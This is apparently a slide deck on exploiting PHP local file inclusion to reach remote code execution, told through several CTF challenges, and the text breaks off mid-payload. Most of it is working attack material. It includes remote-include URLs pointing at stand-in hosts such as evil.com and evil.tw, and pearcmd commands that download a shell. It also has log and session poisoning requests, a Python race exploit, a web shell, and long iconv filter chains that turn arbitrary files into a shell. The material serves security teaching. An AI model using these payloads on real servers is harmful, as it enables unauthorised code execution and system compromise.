## One Line PHP
# 從入門到入土
#### One Line PHP: From Genesis to Ragnarök
#### - Ginoah, Bookgin
---
## PHP include
Introduction
----
#### [PHP: include - Manual](https://www.php.net/manual/en/function.include.php)
The include expression includes and
**evaluates** the specified file.
🤔
----
#### i.e.
- include
- include_once
- require
- require_once
----
### Scenario
----
#### 🌰
```
website
├── index.php
├── home.php
└── account.php
```
```php=
<?php //index.php
...
include($_GET['page']);
?>
```
```php=
<?php //home.php
...
print("home page");
?>
```
----
#### 🌰 (cont'd)
`http://localhost/?page=home.php`
```
home page
```
---
## LFI
Local file inclusion
----
### Scenario
```php
include($_GET['page']);
```
----
#### Normal Usage
`/?page=home.php`
```php
include($_GET['page']);
```
----
#### Read local file
`/?page=/etc/passwd`
```php
include($_GET['page']);
```
----
#### How to read php src / execute php code
----
PHP doesn't care about file name
PHP looks for `open tag` in file, such as
- `<?php`
- `<?=`
- `<?` // (short_open_tag=on)
- `<%` // (asp_tags=on)
- ...
----
#### PHP support a lot of protocols and wrappers
----
#### PHP Supported Protocols and Wrappers
- file:// — Accessing local filesystem
- http:// — Accessing HTTP(s) URLs
- ftp:// — Accessing FTP(s) URLs
- php:// — Accessing various I/O streams
- zlib:// — Compression Streams
- data:// — Data (RFC 2397)
- glob:// — Find pathnames matching pattern
- phar:// — PHP Archive
- ...
----
#### PHP I/O stream wrapper [php://](https://www.php.net/manual/en/wrappers.php.php)
- `php://stdin`, `php://stdout` ..
- `php://input`, `php://output`
- `php://fd`
- `php://memory`, `php://temp`
- `php://filter`
----
#### PHP filter `php://filter`
- String Filters
- string.rot13
- string.toupper
- ..
- Conversion Filters
- convert.base64-encode
- convert.iconv.*
- ..
- Compression Filters
- ..
- ..
----
#### `php://filter` to Read PHP src code
```bash
/?page=php://filter/convert.base64-encode/resource=index.php
```
```php
include($_GET['page']);
```
PD9waHAKaW5jbHVkZSgkX0dFVFsncGFnZSddKTsK
```php
<?php
include($_GET['page']);
```
---
## From LFI to RCE
From local file inclusion
to remote code execution (RCE)
----
## Include user-controlled data
If we luckily find a file with `<?php phpinfo(); ?>`, we can achieve RCE!
----
## Question
Is there a file containing user-controlled data?
Or ... can we create one on our own?
----
## LFI to RCE
- **Remote include**
- Log-related files
- PHP temp files
----
## Remote include
```
// default is Off :(
allow_url_include = On
```
- `/?page=http://evil.tw/shell.php`
- `/?page=ftp://evil-ftp.tw/shell.php`
- `/?page=data://text/plain,<?php phpinfo();?>`
----
## LFI to RCE
- Remote include
- **Log-related files**
- PHP temp files
----
## Environment variables
- `/proc/self/environ`
If you are still in 2000 where cgi-bin is popular:
```
GET /?page=../../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>
```
----
## Environment variables (cont'd)
because cgi-bin uses env to pass arguments:
```
USER_AGENT=<?php phpinfo();?>
REQUEST_METHOD=GET
REQUEST_URI=page=../../../../proc/self/environ
HTTP_HOST=example.com
...
```
----
## Webserver log files
- `/var/log/apache2/access.log`
- `/var/log/apache2/error.log`
```
GET /?page=../../../../var/log/apache2/access.log HTTP/1.1
User-Agent: <?php phpinfo();?>
```
----
## Webserver log files (cont'd)
The log files will contain
```
127.0.0.1 - - [12/Jan/2022:20:42:23 +0800] "GET / HTTP/1.1" 400 484 "-" "curl/7.68.0"
127.0.0.1 - - [12/Jan/2022:20:42:50 +0800] "GET / HTTP/1.1" 400 484 "-" "<?php phpinfo(); ?>"
```
----
## ssh log files
- `/var/log/auth.log`
```sh
ssh '<?php phpinfo(); ?>'@example.com
```
----
## ssh log files (cont'd)
The log file will contain
```
Jan 12 12:31:40 example sshd[724613]: Invalid user <?php phpinfo(); ?> from 127.0.0.1 port 31776
Jan 12 12:31:40 example sshd[724613]: Connection closed by invalid user <?php phpinfo(); ?> 127.0.0.1 port 31776 [preauth]
```
----
## LFI to RCE
- Remote include
- Log-related files
- **PHP temp files**
----
## PHP session files
If one of the `$_SESSION` value can be controlled:
```php
session_start();
$_SESSION["username"] = $_GET["username"];
```
----
## PHP session files (cont'd)
- `/tmp/sess_<session_id>`
```
username|s:6:"<?php phpinfo(); ?>";
```
`<session_id>` can be set to a user-controlled value from the request cookie
```
Cookie: PHPSESSID=foobar
// create a file `/tmp/sess_foobar`
```
----
## PHP POST upload
If we send POST with a large file...
![http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://i.imgur.com/UpZ2CiU.png)
----
## PHP POST upload (cont'd)
PHP will create a temp file `/tmp/phpAz7M6x` identical to our uploaded file.
Filename: `php[a-zA-Z0-9]{6}`
----
## PHP POST upload (cont'd)
Since we need to guess the `/tmp/php??????` filename, we still need one following conditions:
1. List `/tmp/`
2. View the output of `phpinfo()` (tmp_name)
3. The server is [Windows](http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf)
----
## PHP POST temp file on Windows
`php[A-F0-9]{4}`
```
c:\windows\temp\php????.tmp
```
Brute-force 65536 or...
`<` is a wildcard `*` on Windows!
```
include("c:\\windows\\temp\\php<<");
```
----
## Conclusion
With the default config of Windows PHP, fully LFI is equal to RCE.
---
## One Line PHP
HITCON CTF 2018
**One Line PHP Challenge - orange_tw**
----
## One Line PHP (cont'd)
```php
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6)
=== '@<?php' ? include($_) : highlight_file(__FILE__);
```
1. LFI
2. The file must start with `@<?php`
3. No session, ssh, log and env
----
## Revisit our exploits
- environment variables: it's not cgi-bin
- webserver log: no permission to read
- ssh log: ssh is not exposed
- php \$_SESSION: no such thing
- POST upload: no phpinfo
----
## Session Upload Progress
If `PHP_SESSION_UPLOAD_PROGRESS` in POST data, PHP will enable the session.
[Session Upload Progress](https://www.php.net/manual/en/session.upload-progress.php) by default is enabled.
----
## Session Upload Progress (cont'd)
POST `PHP_SESSION_UPLOAD_PROGRESS=bazz`
- `/var/lib/php/session/upload_progress_<session_id>`
```
upload_progress_bazz|a:5{s:10:"start_time";...}
```
----
## The last piece of the puzzle
The file must start with `@<?php`.
How to turn this into the desired string?
```
upload_progress_bazz|a:5{s:10:"start_time";...}
```
----
## Base64 to the rescue
[By default](https://www.php.net/manual/en/function.base64-decode.php), invalid characters will be silently discarded.
```php
php > var_dump(base64_decode("<(^_^)>Rk9PQkFSC"));
string(6) "FOOBAR"
```
----
## base64 chains
```php
php > var_dump(base64_decode("FOO_"."ZUms5UFFrRlND"));
string(12) "�Rk9PQkFSC"
php > var_dump(base64_decode(base64_decode("FOO_"."ZUms5UFFrRlND")));
string(6) "FOOBAR"
```
----
## Final exploit
```
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' +
b64(b64(b64("@<?php phpinfo(); >")))
}
requests.post(
HOST,
files={'f': open('large.txt').read()},
data=data,
headers=dict(Cookie='PHPSESSID=foobar')
)
```
Racing the file and include it to RCE!
```
php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode
/resource=/var/lib/php/sessions/sess_foobar
```
----
## Conclusion
With the default config of Linux PHP, fully LFI is equal to RCE.
---
## One Line PHP Revenge
RealWorld CTF 2018
**The Return of One Line PHP Challenge <br> - wupco1996**
----
## One Line PHP Revenge (cont'd)
Source code and config are exactly the same as One Line PHP challenge, but ...
```
session.upload_progress.enabled = false
```
----
## Revisit our exploits
- environment variables: it's not cgi-bin
- webserver log: no permission to read
- ssh log: ssh is not exposed
- php \$_SESSION: no such thing
- POST upload: no phpinfo
- upload session: disabled
----
## POST upload
`/tmp/php[a-zA-Z0-9]{6}` and limited time window
![](https://i.imgur.com/UpZ2CiU.png)
----
## POST upload (cont'd)
PHP 7.2 bug leads to segmenetaion fault
```
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
```
and the `/tmp/php??????` won't be deleted
----
## Final exploit
1. POST 62**3 `/tmp/php??????` files
2. Try ro include 62**3 `/tmp/php000000`
3. RCE
----
## Conclusion
With the default config of Linux PHP 7.2, even if the session upload is disabled, fully LFI is equal to RCE.
---
## 1linephp
0CTF/TCTF 2021
**One line PHP Challenge with `.php` - yxxx**
----
## 1linephp (cont'd)
```php
<?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');
```
----
## 1linephp (cont'd)
```php=
<?php
$filename=$_GET['yxxx'].'.php';
if(substr(file($filename)[0],0,6) === '@<?php')
include($filename);
```
1. `session.upload_progress = On`
2. The filename end with `.php`
3. The file must start with `@<?php`
4. `Zip` extension enabled
----
The extention tragedy
```php
$filename=$_GET['yxxx'].'.php';
```
----
Can we use
```
POST / HTTP/1.0
Cookie: PHPSESSID=blahblah.php
```
to create `/tmp/sess_blahblah.php` ?
----
PHP doesn't allow `.` in Session name
```
POST / HTTP/1.0
Cookie: PHPSESSID=blahblah.php
```
~~to create `/tmp/sess_blahblah.php`~~
----
$_GET[yxxx] .`'.php'`
- Http
- `http://evil.com/shell.php#.php`
- Phar
- `phar:///tmp/sess_blahblah/shell.php`
- Zip
- `zip:///tmp/sess_blahblah#shell.php`
----
$_GET[yxxx] .`'.php'`
- ~~Http~~
- allow_url_include = 0
- Phar
- `phar:///tmp/sess_blahblah/shell.php`
- Zip
- `zip:///tmp/sess_blahblah#shell.php`
----
$_GET[yxxx] .`'.php'`
- ~~Http~~
- allow_url_include = 0
- ~~Phar~~
- Phar require extention (any extention)
- Zip
- `zip:///tmp/sess_blahblah#shell.php`
----
$_GET[yxxx] .`'.php'`
`zip:///tmp/sess_blahblah#shell.php`
----
But `/tmp/sess_blahblah` is not a zip file
```
POST / HTTP/1.0
Cookie: PHPSESSID=blahblah
PHP_SESSION_UPLOAD_PROGRESS=<payload>
```
`/tmp/sess_blahblah`
```
upload_progress_<payload>|a:5:{s:10:"start_time";i...
```
----
#### Zip format
<img src="https://raw.githubusercontent.com/w181496/CTF/master/0ctf2021_qual/1linephp/zip_struct.png" style="height:500px">
###### Ref: Kaibro
----
#### Make `sess_blahblah` a zip file
<img src="https://raw.githubusercontent.com/w181496/CTF/master/0ctf2021_qual/1linephp/zip-sol.png" style="height:500px">
###### Ref: Kaibro
----
### Race it!
`/?yxxx=zip:///tmp/sess_blahblah#shell`
```php=
<?php
$filename=$_GET['yxxx'].'.php';
include($filename);
```
----
## Conclusion
With `zip` enabled, we can use zip wrapper to bypass extention restriction. partial LFI with `.php` is still equal to RCE.
---
## 2linephp
Balsn CTF 2021
**One line PHP Challenge with `.php` & without Zip - Kaibro**
----
## 2linephp (cont'd)
```php=
<?php
($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');
```
----
## 2linephp (cont'd)
```php=
<?php
//... some WAF
$filename=$_GET['kaibro'].'.php';
if(substr(file($filename)[0],0,5) === '<?php')
include($filename);
```
1. `session.upload_progress = On`
2. The filename end with `.php`
3. `Zip` extension disabled
4. The file must start with `<?php`
5. Use PHP officail docker image
----
What about existing PHP file?
```bash
$ find / -name '*.php'
./usr/local/lib/php/PEAR.php
./usr/local/lib/php/System.php
...
./usr/local/lib/php/pearcmd.php
...
```
----
#### pearcmd.php
- PHP Extension and Application Repository
- /usr/local/lib/php/pearcmd.php
- **Default installed** in PHP official docker image
- Cmd line tool to install PHP package
----
Since `pearcmd.php` is a Cmd line tool,
It use `$_SERVER['argv']` as argument
----
`$_SERVER['argv']`
```php
$_SERVER['argv'] = explode('+', $_SERVER[‘QUERY_STRING’])
```
when `register_argc_argv = On`
----
#### Cmd line
```bash
$ php pearcmd.php install -R /tmp http://evil.com/shell.php
```
#### Web
```bash
/?+install+-R+/tmp http://evil.com/shell.php?&kaibro=/usr/local/lib/php/pearcmd
```
----
#### Cmd line
```bash
$ php pearcmd.php config-create /'<?=phpinfo()>' /tmp/info.php
```
#### Web
```bash
/?+config-create+/'<?=phpinfo()>'+/tmp/info.php+&kaibro=/usr/local/lib/php/pearcmd
```
----
#### But there's some WAF
1. `p:`, `s:` are blocked
- disallow `http:`, `https:`
3. The file must start with `<?php`
- `config-create` have garbage prefix
----
#### Cmd line
```bash
$ php pearcmd.php channel-discover kaibro.tw/302.php
```
#### Web
```bash
/?+channel-discover+kaibro.tw/302.php?&kaibro=/usr/local/lib/php/pearcmd
```
- `302.php` redirect to http://kaibro.tw/test.php
- `/tmp/pear/temp/test.php`
----
## Conclusion
With PHP official docker image, there's a useful b4ckd0or - `pearcmd.php`, partial LFI with `.php` is equal to RCE.
---
## includer's revenge
hxp CTF 2021
**One line PHP Challenge with Nginx - 0xbb**
----
#### includer's revenge
```php=
<?php include($_GET['file']);
```
----
#### includer's revenge
```php=
<?php include($_GET['file']);
```
1. `file_uploads = Off`
2. `session.upload_progress = Off`
3. chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
4. `PHP-FPM` and `Nginx` is on the same host
5. `PHP-FPM` and `Nginx` both run with `www-data`
----
#### Find `www-data` writable file
```bash
/dev/core
/dev/stdout
/dev/fd
/dev/ptmx
/dev/urandom
...
/var/lib/nginx/scgi
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/proxy
/var/lib/nginx/fastcgi
```
----
#### `/var/lib/nginx/body`
When request body is big enough, `Nginx` will create a temp file to [buffer client body](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size)
----
#### `/var/lib/nginx/body` (cont'd)
But `Nginx` unlike the temp file immediately
```c=
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
```
----
#### procfs
Since the file was unlink without closing,
we can still read the file through `fd` under `/proc`
```
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 11 -> socket:[27587]
...
lrwx------ 1 www-data www-data 64 15-> /var/lib/nginx/body/0000001368 (deleted)
...
```
----
#### So..
`include('/proc/34/fd/15')`?
----
#### Nope
~~include('/proc/34/fd/15')~~
if `php_sys_lstat()` findout the file was deleted, it won't include the file.
----
#### Soft link loop
```php
include('/proc/self/root/proc/self/root/proc.../proc/34/fd/15')
```
----
#### `Nginx`'s pid & fd
1. `/proc/<1-1000>/cmdline` to find pid
2. Brute force fd
----
#### Exploit
1. Find out `Nginx`'s pid
2. Keep sending huge body containing webshell to create temp file
3. Race the temp file with
```bash
/?file=/proc/self/root/proc/self/root.../proc/<pid>/fd/<fd>
```
----
## Conclusion
When `Nginx` and `PHP` is on the same host with same user, even if `file_uploads = Off` & `session.upload_progress = Off`, fully LFI is equal to RCE.
---
## 卍解
**PHP include webshell `without` tmp file - loknop**
----
<img src='https://i.imgur.com/XPNUJz0.png' style="height: 600px">
----
`convert.iconv.UTF8.CSISO2022KR`
```php
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=/etc/hostname
```
Prepend `\x1b$)C` to any stream
----
`convert.base64-decode`
```php
php://filter/convert.base64-decode/resource=...
```
Base64 decode and ignore any non base64 char
----
e.g. `/etc/passwd`
```
root:x:0:0:root:/root:/usr/bin/bash
...
```
----
`convert.base64-encode` encode `/etc/passwd`
```
cm9vdDp4OjA6MDpyb290Oi9yb290Oi91c3IvYmluL3pzaA...
```
----
&`convert.iconv.UTF8.CSISO2022KR`
```
\x1b$)Ccm9vdDp4OjA6MDpyb290Oi9yb290Oi91c3IvYmluL3pzaA...
```
----
base64 decode
decode('~~\x1b$)~~`Ccm9vdDp4OjA6MDpyb290Oi9yb290O...`')
----
We prepend `base64decode('C')` to the stream!
----
Web Shell
```
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
```
----
Fuzz the char we need
```php
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
```
----
## **TH3 Bl4ck M4g1c**
```php
include('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd')
```
`/etc/passwd` become
```php
<?=`$_GET[0]`;;?>...
```
----
### Char Dictionary
[PHP_INCLUDE_TO_SHELL_CHAR_DICT](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT)
wupco1996
----
### Char Dictionary (cont'd)
```php
'0': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE'
'1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4'
...
'9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB'
'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE'
...
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937'
'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213'
...
'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16'
'/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4'
```
----
### Now we can prepend anything to anyfile
```php
include('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE